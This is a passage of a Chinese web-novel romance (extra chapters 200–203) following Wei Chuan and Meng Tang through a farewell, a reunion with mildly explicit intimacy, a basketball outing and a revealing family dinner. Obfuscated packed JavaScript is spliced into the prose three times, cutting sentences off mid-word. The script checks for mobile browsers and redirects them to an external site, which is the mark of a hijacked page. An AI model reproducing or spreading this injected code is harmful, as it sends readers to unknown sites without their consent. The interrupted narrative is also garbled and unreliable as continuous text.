魏川转身,虚虚靠着书桌,牵起她的手,静静地握在掌心里,只摸了一下,他就皱了眉: “你又用磨砂膏了,磨来磨去的舒服吗?” “还好,茧子留在手里也不舒服。” 魏川掰扯着她的手指,和她十指相扣,笑道:“你手好小。” 就连剪得光秃秃的手指头都圆润可爱。 孟棠:“你那么高个子,又是男生,手比我大很正常吧?” 魏川笑了声,握着她的手一把将她扯入怀中。 “怎么办啊。”魏川蹭着她的肩膀叹了声气,“明天就要走了,舍不得。” 孟棠拍了拍他后背,失笑:“又不是不能见面了,不到一个月,我也就开学了。” 魏川:“……一个月,简直折磨人,大学为什么要放那么多假。” 他故意对着孟棠的耳朵吹了口气,孟棠敏感地缩了缩脖子:“别闹。” “就闹。”魏川对着她的脖颈咬了口,很轻,最终在她白皙的侧颈制造了一个草莓。 孟棠腿一软,更深地嵌入他怀里。 魏川得意地笑了声,在她耳边耍流氓:“要不是在你家,我现在就把你办了。” 孟棠脸色通红,掐了把魏川的腰。 魏川默默将人抱紧,说:“正式开学前两天,我们训练结束,有两天的休息时间,我来接你?” “别了吧。”孟棠在他怀中小声地说,“我自己坐车也是一样的,你结束训练就好好休息。” “高铁两个小时就到了,等我就行。”魏川说,“老爷子知道你什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怀里没有人回应,魏川托起孟棠的下巴,这才发现她已经睡着了。 他轻笑一声,将手机搁在一旁,托着她的后颈缓缓地将人放到枕头上。 孟棠的睡颜安静又漂亮,魏川低头在她眉心亲了下:“晚安。” 他下了床,拉好帘子,径自出了孟棠的卧室。 翌日一早,方姐将准备好的礼物全都送上了魏川的后备箱。 已经八点了,孟棠还在睡。 方姐对魏川说:“我去给你叫她,送送你。” “等一下。”魏川拦住方姐,“昨晚我俩玩游戏,睡得迟了,让她睡吧,新年这几天没有活计,让她多休息。” 孟遇春站在一旁,说:“走,我送你出门。” “又折煞我。”魏川说,“你俩都在这里不许动,我自己出门。” 方姐推他一把:“我送你出门,赶紧的吧。” “好。”魏川笑着应了声。 刚出院门,孟棠跑到了院子里,见只有孟遇春,她问:“魏川走了吗?” “刚走。”孟遇春指了指远门,“你追过去还能赶得上。” 第200章 番外16:我懂我懂,我走我走 孟棠披头散发地追出了大门:“魏川。” 魏川咧嘴一笑,转头跑过去将她抱了满怀:“怎么出来了?” “抱歉啊。”孟棠有些懊恼,“忘了调闹钟。” 魏川看了眼方姐,方姐摆了下手:“我懂我懂,我走我走。” 魏川傻笑一声,将孟棠拉上了车。 他发动车辆,没一会儿,里面暖和起来。 孟棠抓住他胳膊,说:“训练不要累着,也不要受伤。” 她每次只有这两句话,魏川笑了下:“知道,你在家也是,累了就歇着,我看到老头雕刻的大件了,能弯着腰对着一个地方雕一天。” “别傻愣愣的只知道对着木头,最后心疼的还不是我。” 孟棠笑了声:“没事,习惯就好。” 魏川不赞同她的话,抬手捏了下她的耳垂:“习惯好不了,长此以往,腰就坏了,后悔都来不及。” 孟棠开始转移话题:“好,我知道了,你昨晚几点睡的?” 孟棠也没想到自己昨晚看着看着就睡着了,可能还是游戏太无聊。 魏川说:“你睡了我就回房了,十一点左右吧。” 孟棠点了点头:“那还好,回去开车注意安全,到家给我发条信息。” “好。”魏川搂过她要亲,被孟棠捂住了嘴,“还没刷牙。” “我又不嫌弃你。”魏川皱了皱眉。 孟棠不可能让他亲到,推开车门下了车,站在外面和他挥了挥手。 魏川无奈一笑,只能打了方向盘离开。 直至路虎转了弯,孟棠才回了家门。 方姐见到人,调侃了句:“送完了?” “我去洗漱。”孟棠哼了声,走了一半又返了回来,“对了,他早上吃早饭了吗?” 方姐:“你说呢。” 孟棠拍了拍胸脯:“那就好,不过起得挺早的。” 方姐无奈地摇了摇头,这就心疼上了。 洗漱后吃了早餐,孟棠在海棠树下坐着发呆,院子里少了一个人,安静了不止一星半点。 孟遇春走过来,手中还拖了把竹椅。 他将椅子搁孟棠对面,随后坐了下去,孟棠起身坐得端正,知道孟遇春有话跟她说。 “魏川过来,我就没跟你说孟怀璋的事。” “他现在有人管着,作不到你头上,不过他现在的老婆人挺好的。” “泼辣了一点,但心肠不坏,你以后要是在雁清碰到,人家给你打招呼,你应一声就行。” 孟棠愣了下:“我都不认识她,怎么打招呼?” “她认识你。”孟遇春说,“我也就跟你说一声,雁清虽然小,但他们住的地方都快出雁清了,碰到也难。” 孟棠点点头:“知道了。” “至于你和魏川,好好处着吧。”孟遇春口吻悠闲,“挺不错一孩子,家庭氛围也不错,看来前段时间在雁清的眼线没少给你说好话。” “嗯?”孟棠一愣,“什么眼线?” 孟遇春笑了声:“我就是这么称呼而已,是魏川爸爸的助理,一直留下来帮我处理孟怀璋后续的事,不然你以为老廖招那么快,把李寒津直接推了出来。” 孟棠着实惊讶了:“徐助理不是早就回去了吗?是魏川让他回的啊,而且,您不也拒绝了嘛,您心气高,怎么让人留下了?” 孟遇春说:“是那个助理私联的我,那张嘴,不当律师都可惜,我说不过他。” 孟棠:“……所以,徐助理都在这里了解些什么?” 孟遇春:“你从小到大的一些事,还去了前院的展厅,拍了几张照片,等孟怀璋搬出去了,他才离开的雁清。” 孟棠下意识啃了下指甲,徐助理留在这里肯定是魏立峰的授权。 她意外楚茵能这么快接受自己,现在看来,是魏川的爸爸在后面帮着托了一把。 “一个家庭幸不幸福,还真不看女人。”孟遇春叹了声气,“靠的是男人。” “魏川有这样的父亲,难怪他性格那样好,魏川的母亲即便对你有什么意见,最终也会被他的父亲一一化解。” “你自己应该也能感受到。” 孟棠点了点头:“能感受到。” 孟遇春说:“好好珍惜,好好相处。” “知道。” 老爷子看得透,几句闲聊里,孟棠看清了魏立峰的人格魅力。 这样的人,才配叫一声父亲吧。 孟棠十分感慨,因为她没有过。 临近下午一点,魏川开了一个视频过来,他怀里抱着朵兰,看见孟棠拼命叫唤。 孟棠笑了笑:“它还记得我啊?” 魏川将朵兰放了下去,看向镜头:“我到家了,你吃饭了没?” “都这个点了,你说呢。”孟棠盯着屏幕里还在吃饭的人,“你刚到家?” 魏川点了点头:“把我饿得不行。” 孟棠问:“没在服务区停车吗?” “没有。”魏川无视楚茵的瞪眼,边吃边和孟棠聊天,“懒得停了。” “别说话。”孟棠说,“先吃饭,你要不想挂就开着吧,我正好也有一点事。” 魏川顺嘴问:“啥事啊?” “没事做,描个谱。”孟棠解释了句,安静地取了临摹册。 楚茵就在这时凑了过来,魏川吓了一跳,刚要说话,被她“嘘”了声。 魏川往旁边让了让,让楚茵欣赏未来儿媳妇。 楚茵只是好奇孟棠在干什么,见他取了毛笔,在宣纸上画着不懂的线条,觉得有点高大上。 魏川在一旁看得好笑,他妈都看入迷了。 孟棠穿着浅色的宽袖长衫,一头长发慵懒地盘起,书房里的墨香似乎能透过屏幕冲出来,给她整个人笼罩着一层“腹有诗书气自华”的气质。 这类人,真的很讨长辈喜欢。 孟棠在勾勒李公麟《维摩演教图》的衣褶,吴带当风的飘逸在她脑子里用刻刀描摹了一遍。 觉得累了,她仰起头看向屏幕,被忽然放大的楚茵吓了一跳。 好在面上没怎么显露,孟棠笑着打了招呼:“阿姨。” “哎,你在干嘛呀?”楚茵拿起魏川的手机,截了几张图,“那是你书房吗?布置得真雅致。” 孟棠点了点头:“我自己布置的,都是自己喜欢的东西乱七八糟地加在一起,看着有点杂。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174431|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>“不杂。”楚茵赶紧肯定她,“自己喜欢的风格最重要,你后面那一排书你都读过吗?” 孟棠谦虚地说:“没有都看完。” “都是些什么类型的书啊?”楚茵实在好奇。 孟棠笑了笑,将手机镜头转了下:“工艺书画、文学哲学都有,还有一些手札。” 楚茵盯着《梓人遗制》《黄杨木雕技法图谱》《诗经》《芥子园画谱》《闲情偶寄》……彻底说不出话来了。 这涉猎也太广了,她眯着眼睛又看了会儿,竟然还看到了一溜排的科学杂志。 杂志下方是《树木学》和《中国矿物色》 原谅她吧,除了《诗经》,她一个都没听过。 楚茵又默默截了两张图。 孟棠听到声音,也只是温婉地笑笑。 楚茵将手机给了魏川:“你俩说去吧。” 魏川接过手机,对孟棠说:“她截屏了好几张你的图片,看来对你很满意啊。” “我听见了。”孟棠说,“你吃完了?吃完就挂了吧,我还有些事。” “……这么狠心干什么?”魏川哼了声,“截图一点都不好,你自拍到共享相册里,我明天开始训练,你每天至少要拍一张生活照进去,听到没有?” “每天都要拍一张?”孟棠无语了,“拍这么频繁干什么?” 魏川:“我看着高兴。” 孟棠:“……” “到底行不行?”魏川催促她,“快给我一个准话。” 孟棠逗他:“我把方姐每天炒的菜发一张上去行吗?” 魏川:“……” “好了好了。”孟棠没忍住笑出了声,“逗你呢,你说拍就拍呗。” “这还差不多。”某些人十分好哄。 “好了,不跟你说了,做正事去了。” 魏川从不打扰她干正事,等孟棠挂了视频,转头去了客厅。 刚进去,就见楚茵跟几个好姐妹开视频群聊着呢。 “你们不是问我小川的女朋友吗?刚才给你们发的照片看见没?” “我的妈,那些书我一本都没看过,人家都看完了。” “还有之前小川带回来的书法,也是她写的,行书。” 魏川默默退出了客厅,给了他老妈一个最大发挥的空间。 寒假这二十几天,其实很快就会过去,最抓不住的就是时间。 不知不觉,孟棠已经在共享相册里发了27张照片,而魏川也发了不少生活照。 甚至还有小视频,孟棠很喜欢看他打篮球时的意气风发。 19号下午,孟棠坐上了回z市的高铁。 她还是老样子,下午一点的车。 四点左右到了康铂,她自己打车过来的。 孟棠有个小洁癖的习惯,只要坐了车,有条件必然要洗个澡。 她看了眼时间,魏川大概七点才能回来,洗完澡,正好叫个餐,等他回来一起吃。 连带着洗头,孟棠这个澡又费了点时间。 她没有带衣服进浴室,因为风尘仆仆,生怕会把睡衣弄脏。 孟棠解了干发帽,慢条斯理地吹起头发来,丝毫不知道魏川已经到了楼下。 第201章 番外17:有句黄色的话,不知当讲不当讲 孟棠将头发吹到半干,裹着浴巾进了和卧室连接在一起的衣帽间。 她从床头看了眼时间,还来得及。 穿个衣服点个餐,魏川差不多就回来了。 孟棠垫着脚拿了睡衣,刚要换,右侧的余光里压下一道身影。 她猛地向后躲去,一颗心像坐了过山车似的。 “小心。”魏川眼疾手快捞住她的腰,“胆子这么小嘛?” 孟棠捂着心口,眼睛还因惊惧而睁得溜圆,半晌,她眨了眨眼睛,终于找回了声音:“你怎么回来了?” “下训就回来了。”魏川的目光落在她白皙的锁骨和肩膀上,声音不自觉沉了下去。 孟棠后知后觉拉紧浴巾,抬手抵住他胸口,有些结巴:“你先出去,我换个衣服。” 魏川一动未动,眼睛一眨未眨。 “你先出去啊。”孟棠有些慌。 魏川上前,将她堵在衣柜前,小声道:“我洗完澡回来的。” “……” 许久没有亲近,孟棠僵硬着身体,她想抬起头看看魏川,又不太好意思。 魏川高大的身躯几乎笼罩住孟棠,孟棠下意识又往后退了一步。 “你再挤。”孟棠的声音黏黏糊糊,又可可爱爱,“我就要进柜子里了。” 魏川轻笑着往后退了半步,手却安装了**似的搂住孟棠的腰。 “这下挤不到柜子里了。”他坏笑了声,闲情逸致地逗她,“或者,你想去柜子里也可以。” 孟棠瞬间听懂了他的意思,抿起唇掐了一把他的腰。 魏川“嘶”了声,语气一点没感觉到疼,全是调侃:“下手真重。” “别闹了。”孟棠推了推他,“你不饿吗?先吃饭吧。” 魏川:“……” 有句黄色的话,不知当讲不当讲。 “不饿,待会儿吃。”魏川掐抱着孟棠的腰,转身将人放到中岛台上。 “躲得够久了。”魏川挑了下眉,“你说呢?” “谁躲了。”孟棠底气不足。 魏川将手撑在她大腿两侧,一言不发亲了她一下。 轻轻一撞后,他看着孟棠的眼睛,暴露出眼底最真实的意图和情欲。 孟棠猛地哑口,吊住了呼吸。 魏川俯身过去,和他脸贴着交错而过,最终在她脖颈落下一枚轻吻。 脖子酥酥麻麻像蚂蚁在咬,一路往上,咬在了孟棠的唇角。 四目相对,孟棠一下闭上了眼睛,魏川的眼睛轻轻半阖,把她的每一根睫毛看得清清楚楚。 他咬住她的上唇,温柔地厮磨碾压。 衣帽间空间宽敞,灯光明亮通透,没有一处错漏的暗面。 纠缠的身影显现无形,给柔和简洁的大空间染上了一层暧昧的基调。 两道呼吸交织,涌动出灼热的呢喃。 魏川一只手撑着,另一只手将孟棠的手臂拉到自己后颈。 孟棠的另一只手还护着浴巾,魏川若即若离地逗弄她,抽了细条条的白色腰带。 眼前比灯光还要刺眼,雪白一片。 魏川喉结滚动,恍惚间,鼻尖擦过孟棠的鼻尖,汹涌地吻了上去。 这次没有了一丝缝隙,魏川堵了她全部的呼吸。 孟棠眼神迷离之际,抽出一丝理智,她躲开魏川密密麻麻的吻,小声说:“去卧室。” 魏川揽住她的腰,将她贴着自己,眼神仿佛在说:“等不及了。” 孟棠从后背倏地升起一股热意,随后蔓延至整个身体。 她被更烫的一个人接住、吻住……纷乱绵长的亲吻下,她真的像一块难琢的木头,被一次又一次剜刻。 头顶的灯光一次又一次被揉碎,全都洒落在孟棠眼角流下的泪水里。 眼泪淹没鬓角的那一刻,她被魏川紧紧抱住。 发颤的余波渐渐过去,魏川在她眼角亲了亲:“给你叫餐?” 孟棠点了点头,浑身发软,还有一些懊恼,待会儿又得去洗澡。 魏川将地上的浴巾给她包裹住,弯腰将孟棠抱进了卧室。 他自个儿胡乱收拾了一通,找到包里的电话,让管家从餐厅叫了餐。 情事方歇,魏川无意让别人窥探满室的暧昧,他让管家将晚餐放在了玄关。 孟棠穿好衣服出来,魏川已经将晚餐端到了餐厅。 “点了这么多?”孟棠低声问,“能吃完吗?” 魏川拉开椅子让她坐下,又给她递给筷子和勺子,说:“怎么吃不下,不是有我在嘛,刚才消耗——” “闭嘴。”孟棠拿筷子轻轻拍了下他的手背,“吃饭,我快饿**。” “吃饭吃饭。”魏川笑着在她旁边坐下,给她舀了一碗蟹肉羹。 汤底是老鸡和火腿吊出的清汤,汤水清澈见底,孟棠尝了口,“嗯”了声,温暖开胃,味道鲜醇。 魏川给她用勺子盛了一小碟虾仁推过去:“今天的虾还不错。” 孟棠用筷子夹起虾仁送进口中,两三秒后,她眼睛微微睁大,点了点头:“是还不错,清雅鲜甜。” “喜欢多吃一点。”魏川瞄了眼墙上的钟,“明天打算干什么?” 孟棠回:“不知道,在家躺着呗,出去也没什么好玩的。” “出去打会儿球吧。”魏川说,“附近有个很大的露天球场。” “好。”孟棠没有拒绝,她知道魏川是待不住的性格。 四五道菜,两人默默光盘了。 今晚孟棠的饭量还算可观,她拍了拍魏川的肩膀,起身说:“我转一转,消消食。” “一起。”魏川说,“正好让人过来把餐桌收拾了,你去拿外套,我带你下去溜一圈。” 孟棠一愣:“下去啊?” “不然呢?”魏川有点懵,“你在屋里怎么散步?这才多大点地方?” “行吧。”孟棠回屋拿了两人的外套,和魏川一起手牵着手出了门。 2月的天气,还是有些冷。 魏川默默搂紧孟棠,说:“等开春回暖的时候,我带你去翠云山公路兜风。” “那是什么地方?”孟棠歪着头问,“我好像没听说过。” 魏川笑了声:“跑车圣地,秦渊每年都会去跑一圈,那人风景不错,有山有湖还有花。” “什么花啊?” “野樱花。” 孟棠说:“我没看过。” “分区赛结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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泡泡洗洗四十分钟,吹头发又费了点功夫,回到床上的时候刚过十二点。 血气方刚的人没吃饱,抱着孟棠蹭了蹭解馋。 孟棠的鼻腔里烘着头发的暖香,是魏川给她吹干的。 雨水拍在窗户上氤氲出朦胧的雾气,相同的沐浴露不分彼此地缠绕。 孟棠转了身,搂住了魏川的脖颈,笨拙地亲了上去。 魏川愣了两秒,一个翻身迎了回去。 屋内的主灯早就被魏川关了,被子一盖,基本没什么亮度了。 魏川低下头,在孟棠的耳边亲了下,小声说:“趴着?” 孟棠脸颊滚烫,乖乖地转过了身。 魏川在她后颈落下一个温柔到极致的吻。 雨水在半夜歇了,孟棠早就睡了过去,魏川为两人收拾后,搂着她进入了梦乡。 昨晚的窗帘忘记了关,当第一缕光跃进屋里,缠绵悱恻的余温还未散去。 第202章 番外18:好诡异啊 日上三竿,孟棠终于悠悠转醒。 五脏庙告急,她费力地踢了下魏川:“起床了。” 魏川一下惊醒:“怎么了?” 满脸惊愕,头发乱七八糟,孟棠笑了声:“我饿了。” “哦。”魏川还没完全醒,闭着眼睛就下了床。 也不知道几点了,魏川囫囵叫了餐,随后去了浴室,和孟棠一起洗漱。 镜子里,孟棠看着脖颈有些无语。 魏川讨好地笑了笑:“还好天气冷,可以穿高领。” “以后不要亲在上面。”孟棠对他耳提面命,“被看见很尴尬。” 她还不爱披头散发,雕塑系的课程也不适合披着。 他每嘬一个印迹,都要好几天才能消下去,第一次被谢泠音发现的时候,她就有点尴尬。 “知道了。”魏川见孟棠的脸色带着几分恼怒,忙道了歉,“下次一定注意。” 孟棠吐掉泡沫,漱口后去了客厅。 送餐的人正好到了,魏川从她身后冒出来,指了指餐车上的蒸蛋:“先把那个吃了,垫一下肚子。” 孟棠饿得没什么力气了,走过去端走了蒸蛋。 一碗下肚,竟然还跟没吃似的。 魏川赶紧给她拿了筷子:“话梅排骨,你也爱吃的。” 孟棠轻微地点了下头,埋头吃饭,十来分钟后,她的速度慢了下来。 她朝窗外看了眼,说:“天气变好了,还出去打球吗?” “你想出去吗?”魏川当然以孟棠的意见为主。 “再休息会儿吧。”孟棠生怕留在家里,魏川又做些什么,“三点再出去,晚上顺道在外面吃个饭。” “行。” 吃完饭,魏川拉着孟棠跑客厅的沙发上补觉,闹钟订的三点。 磨磨蹭蹭,三点半出了门。 魏川背着篮球,带着孟棠去了附近的露天篮球场。 篮球场在市中心体育馆的后边,每天来打球的有不少人。 魏川刚进去就引起了一阵轰动,男生们热情地喊着“川哥”。 爱打球的自然会关注cubal,在篮球场上被认出来,魏川一点不奇怪。 “川哥,一起打会儿呗。”有球迷邀请。 魏川有难地指了指自己身后:“我带女朋友过来玩的,你们玩呗。” 男生们一阵起哄,孟棠实在面对不了那么多的目光,对魏川说:“要不你跟他们玩吧,我在一旁歇一歇。” 魏川问了句:“不舒服?” “没有,刚起床,手脚还有些软,而且我本来也不会打球,我给你拍照。” 魏川指了指边上:“就坐那边的长凳上等我吧。” “好。” 魏川转过头:“来吧。” 一群人很快分了阵,孟棠拿出手机对准魏川拍了照片和视频。 看来看去都是一样的,拍了一点,孟棠就没再拍。 她安静地坐着,看魏川打篮球。 没一会儿,身侧压下一道阴影,孟棠的阳光都被挡了。 她抬起头,愣了下,怎么这么眼熟? “不认识了?”一个穿着秋衣,腰间挎着篮球的青年温润地笑了声,“赵疏白,两年前我跟老师做了个摄影专题项目,关于匠人风采的,去了雁清采风,拍了你爷爷。” 孟棠恍然:“是你啊,你怎么在这儿啊?” “我就是这里的人啊。”赵疏白在她身边坐下,“你怎么一个人坐在这儿?” 孟棠指了指不远处厮杀的人:“我跟我男朋友一起来玩的。” 赵疏白往里面看了眼,都被围观的人挡住了,看不到打球的人。 他露了个清隽的笑:“你爷爷身体还好吗?” “挺好的。”孟棠说,“你现在还在拍照吗?” “改行了。”赵疏白说,“我毕业两年了,回家继承家业去了,你呢?大三了吧?” 孟棠“嗯”了声:“马上都快大四了。” “我前段时间去博物馆,还看到你作品了。”赵疏白说,“这几年好像没见你出件。” “爷爷压着没让出,沉淀。” “老爷子眼光长远。” 两人你一句我一句聊得十分投入,魏川打完球,想找女朋友拿个水,一转头看到了这一幕,差点心梗。 “你们玩,我下场了。” 他丢下一句话大步往孟棠的方向走了过去,还没到跟前,语气不爽地叫了声“孟棠”的名字。 孟棠毫无所觉,抬眸间魏川满脸的汗,赶紧从包里给他拿了毛巾。 魏川哼了声:“你给我擦。” 孟棠举起毛巾:“那你弯腰啊。” 魏川这才舒服了点,配合着弯下腰让她擦汗。 “有人跟你搭讪啊?”魏川闷闷地问了句。 “不是,以前认识的一个朋友。”孟棠说,“我给你介绍一下。” 魏川刚想说不用,赵疏白走了过来。 刚才只顾着吃醋,忘了瞄一眼和孟棠聊天的人,魏川一转头,看到了一张熟悉又高冷的脸。 彼此都愣了下,还是赵疏白率先打了招呼:“小川。” “小白哥?”魏川也惊了下,“你跟孟棠怎么会认识?” 赵疏白说:“两年前认识的。” 魏川:“……” 操,跟孟棠聊天那么殷勤,跟自己说话那么冷淡。 他不会喜欢孟棠吧? 魏川清了清嗓子:“小白哥,现在还玩摄影吗?” 赵疏白摇了摇头。 “技术肯定还在吧?”魏川将自己的手机给了他,“你帮我和我女朋友拍两张照片呗,我发朋友圈用。” 赵疏白接了他的手机,示意他俩走远点。 在他的指导下,拍了九张照片,两个短视频。 别说,拍的真不错,魏川都不好意思怼了。 时间差不多了,赵疏白和两人告了别。 魏川拉住孟棠,问:“你跟他到底怎么认识的?” “我还没问你呢,你怎么会认识他?”孟棠反问道。 “他是赵行衍的儿子。”魏川点了下她的头,“就是想要挖我墙角的赵行衍。” “你别胡说。”孟棠白了他一眼,“谁挖你墙角了,我认识赵疏白是因为他两年前去过雁清,在我家隔壁住了好几天。” 魏川又醋了:“他为什么住你家隔壁?” 孟棠说:“摄影采风,一个专题节目,他来拍了爷爷,老爷子也是上过电视的。” “还真看不出来。”魏川瞥了眼赵疏白离开的方向,“他平日里高冷得要死,怎么跟你说话那么温柔?” “高冷?”孟棠一愣,“他不高冷啊,在雁清的时候,还收养了两只流浪猫。” “收养流浪猫就不高冷了。”魏川捏了下孟棠的脸,“他别真是看上你了吧?” “你再说我生气了。”孟棠威胁他。 “不气不气。”魏川忙搂住她哄人,“我错了,只是赵疏白对你和其他人不太一样。” “没什么不一样的。”孟棠说,“我看他发朋友圈都挺生活,挺文艺的,猫猫狗狗比较多,本质上是温柔的人。” “你还有他微信?”魏川一下不乐意了,“我都没有他微信。” “还是两年前加的,我也不知道你俩认识啊。” 魏川瞪了瞪眼,这个赵疏白到现在都没有女朋友,不会真的对孟棠有点意思吧? 可也不太符合逻辑,哪有人喜欢一个人放着两年都不追的? 赵疏白不管从外貌还是家世都很顶,一般女生拒绝不了。 难道是暗恋? 魏川被自己的想法搞麻了,也不太像暗恋,他看孟棠的眼神很纯粹。 行吧,自己小心眼了,可能赵疏白就是单纯地嫌弃他话多,他对秦渊也是那个德行。 “还打吗?”孟棠问魏川。 魏川摇了摇头:“不打了,今天营业。” “营业?”孟棠没听懂。 魏川拉着她在长椅上坐下,开始捣鼓赵疏白给两人拍的视频。 “你别说,拍的挺好看的,我抱着你投篮的一瞬间,太有氛围感了,去挑个好听点的音乐。” 孟棠见他打开了短视频的app,愣了下:“你要发到这上面?” 魏川“嗯”了声:“不能吗?” “我不知道啊。”孟棠说,“我看你平时都发篮球相关的,你能把我放上去吗?” “为什么不能?”魏川觉得好笑,“这是我自己的号,我想怎么发就怎么发,我又不是明星,再说了,我在总决赛上都亲你了,谁不知道我有女朋友。” 孟棠知道他心里还在为赵疏白认识她的事情而别扭,妥协道:“那你发吧。” 魏川捣鼓了半天,终于配了一手心动小曲,将视频传了上去。 看着蹭蹭涨的点赞和评论,魏川简直气笑了,他转头对孟棠说:“果然人类的本质是八卦,我发打篮球的视频,点赞和评论寥寥无几,我发我谈恋爱的视频,全都冒出来了。” 孟棠抵了抵他:“看一下评论区。” 魏川点开了评论区—— “真情侣就是好嗑,我汪一声就把狗粮塞肚子里了。” “狗川,你知不知道你看你老婆的眼神能掐出水来,你别太爱了。” “哇哦哇哦……老婆老漂亮。” “老婆漂亮。” “……”魏川气急,“什么鬼?他们是不是在喊你老婆?” “没有。”孟棠直接否认,“走了,吃饭去。” 魏川拎起包,和她处了篮球场。 冤家路窄,又在餐厅碰到了赵疏白,更离谱的是,赵疏白对面站着魏思沅和郑霆晖,郑霆晖旁边的是Vivian。 魏川和孟棠对视了一眼:好特么诡异啊! 第203章 番外19:恋爱猪脑 熟人一起碰到,自然要聚一起吃饭。 魏思沅不太想带着魏川,奈何魏川对她的八卦挺感兴趣,他将孟棠推出来挡着,魏思沅也没办法。 孟棠走到Vivian身边,小声问:“你们什么情况?” “Ken喜欢魏小姐,单独约她不出来,把我拉上了。” Ken说的就是郑霆晖,花花公子一个,却一直对魏思沅念念不忘。 Vivian和郑霆晖是表兄妹,这次来z市,打算长住。 楚茵知道了,自然对他俩多有照顾,魏思沅闲人一个,就被安排了“地陪”这个工作。 只有郑霆晖的话,魏思沅完全不理,所以他把Vivian带上了。 Vivian的余光瞥向赵疏白:“那一位我不认识,但我感觉他和魏小姐有点关系。” 孟棠沉默了片刻,小声说:“他是老太太过寿那天赵先生的儿子,魏川叫他小白哥,按照年岁,应该跟沅沅姐差不多大。” “青梅竹马啊。”Vivian拖着尾音。 “应该是。” 孟棠刚要继续聊,被魏川扯住胳膊拉到了自己身边。 “聊什么呢?吃饭了。” “Vivian问我赵疏白是谁,我就回了呗。” 魏川给她倒了杯水,在她耳边小声八卦:“今天有点不对劲,郑霆晖看赵疏白的眼神有点杀气。” 孟棠抬眸,在两人之间来回看了看,没感觉到什么杀气。 倒是魏思沅,在两个男人中间,比平时多了两分尴尬和局促。 孟棠拉了下魏川的衣摆,在他耳边小声嘀咕:“我怎么感觉沅沅姐和赵疏白不太对劲啊?” “他俩有什么不对劲的。”魏川轻笑一声,“他俩典型的青梅竹马,约一起吃饭不奇怪,郑霆晖肯定把赵疏白当情敌了。” “……你说有没有一种可能,他俩就是情敌啊。”孟棠说着说着,莫名升起了点兴奋的劲儿,吃到瓜了。 “不可能。”魏川一口否决,“魏思沅以前谈过一个,好几年呢,还是初恋。” “初恋啊?”孟棠点了点头,“为什么分手啊?” “我都不知道是谁,我怎么知道他俩分手的原因?”魏川理直气壮。 孟棠:“……你不知道?” 魏川:“我那会儿都高中了,问上一句就让我滚一边去玩。” “可你之前不是说她谈了两次,被骗了两次吗?” “是啊,初恋也骗她,惨吧。” “啊?”孟棠完全傻眼了,“什么初恋啊?为什么骗人?” 魏川还是一问三不知。 孟棠:“……” 服务员紧接着上了菜,魏川给孟棠剥了虾后,问魏思沅: “你之前带回家的男朋友怎么没影了?好像是晖哥过来之后,你那个男朋友就不见了。” 魏思沅刚要让魏川闭嘴,赵疏白看向孟棠:“孟棠,我听我爸说,你答应给他珍藏许久的料子雕个物件?” 孟棠“嗯”了声:“盛情难却。” 魏思沅抬眸:“你俩认识啊?语气挺熟的。” 魏川说:“小白哥以前玩摄影的时候,去雁清采过风,拍了孟棠的爷爷。” 魏思沅:“……” 原来两年前分了手,他去了雁清。 这是什么诡异的缘分? 郑霆晖在餐桌上很照顾魏思沅,没聊几句,又约魏思沅去香港玩。 魏川见魏思沅没说话,以为她在考虑,决定助攻一把郑霆晖:“你不是挺爱去的吗?反正在家也没事,出去逛逛也挺好的。” 魏思沅白了他一眼:“要你管。” 魏川:“……” 赵疏白又看向孟棠:“那块木料你应该没见过,下次有空,可以去我家看看。” 孟棠礼貌颔首,魏川却皱起了眉。 赵疏白对孟棠的话会不会太多了些?他有cue他吗?为什么一直缠着孟棠说话? 郑霆晖用公筷给魏思沅夹了菜,魏川嘴欠地起哄了句。 赵疏白问孟棠:“这里的菜跟雁清的有些差别,你吃得惯吗?” 孟棠一愣,怎么突然问她这个。 “赵疏白。”魏川哥也不叫了,“你什么意思啊?我还在这儿呢,你一直对孟棠殷勤什么?” 赵疏白淡淡地瞥了他一眼:“我也在这儿呢,你一直撮合你姐跟旁人是什么意思?” 一句话的信息量足够引爆包间。 Vivian一脸疑惑,郑霆晖指了指自己:“旁人是我吗?” 魏思沅白了赵疏白一眼:“你能不能闭嘴?小川不知道。” 孟棠张着嘴巴:“你们俩……” 她想起魏川刚才说的“不知道魏思沅的初恋是谁”,难道是赵疏白? “我不知道什么?”魏川有些发愣,“你俩打什么哑谜?青梅竹马怎么了?我姐谈恋爱还要经过你同意?” 孟棠抵了抵魏川:“打了好久的篮球,饿不饿?先吃饭吧。” 魏川以为她护着赵疏白,“啧”了声,话没出口,孟棠在桌底踩了下他。 魏川的话被她一脚堵住,孟棠拿出手机,给他发了条信息: 【你是不是傻?你不觉得赵疏白是沅沅姐的初恋吗?】 魏川点开手机看了眼,半晌没动。 谁是魏思沅的初恋? 餐厅的包厢内,气氛一时有些怪异。 魏川看向赵疏白,挑了下眉:“你别告诉我害魏思沅哭了一个月的浑蛋是你?” 魏思沅火上浇油:“就是他,他两年前就不来咱家了,你心里没点数啊?” “呵呵……”魏川冷笑一声,“我心里有数我还要问你?每次问就像打发小孩一样,我拳头都找不到人,怎么给你出气?” 如今事情过去了那么久,他还怎么找理由打人? 家里人也真是的,竟然没有一个人告诉他,他是捡来的吗?” 魏川有些气闷,这下看赵疏白更不爽了。 